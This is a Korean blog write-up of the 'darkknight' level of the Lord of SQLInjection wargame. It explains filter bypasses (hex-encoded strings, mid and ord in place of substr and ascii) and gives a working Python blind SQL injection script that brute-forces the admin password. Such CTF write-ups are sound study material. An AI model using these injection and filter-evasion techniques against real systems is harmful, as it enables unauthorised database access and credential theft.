[ Lord of SQLInjection ] darknight

Hyeonjin Lee·2023년 3월 25일
0

문제 분석


  1. 싱글쿼터, substr, ascii, = 를 피러링 하고 있다
  2. darknight의 pw를 찾으면 문제를 풀 수 있다.

문제 풀이


싱글쿼터이 필터링 되기 때문에 admin을 입력하는데 제한이 된다.
또한 기존에 사용하던 함수 substr 등을 사용할 수 없다.

각 필터링은 다음과 같이 우회할 수 있다.

  • 싱글쿼터 -> admin을 hex값으로 입력
  • substr -> mid
  • ascii -> ord

다음과 같은 코드로 문제를 해결할 수 있다.
import requests

cookie = {'PHPSESSID': '사용자세션'}
address = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'

def find_length():
    pw_len = 1
    while 1:
        url = f"{address}?no=999 || id like 0x61646d696e %26%26 length(pw) like {pw_len}%23"
        res = requests.get(url, cookies=cookie)
        if "Hello admin" in res.text:
            print(f'[+] Password Length : {pw_len}')
            return pw_len
        pw_len += 1

def find_password(pw_len):
    answer = ''

    for i in range(1,pw_len+1):
        for j in range(48,123):
            if 58<= j <=64: continue;
            if 91<= j <=96: continue;
            url = f"{address}?no=999 || id like 0x61646d696e %26%26 ord(mid(pw,{i},1)) like {j}%23"
            res = requests.get(url, cookies=cookie)
            if "Hello admin" in res.text:
                answer += chr(j)
                break
    print(f'[+] Find Password : {answer}')

find_password(find_length())

profile
요즘 행복해요

0개의 댓글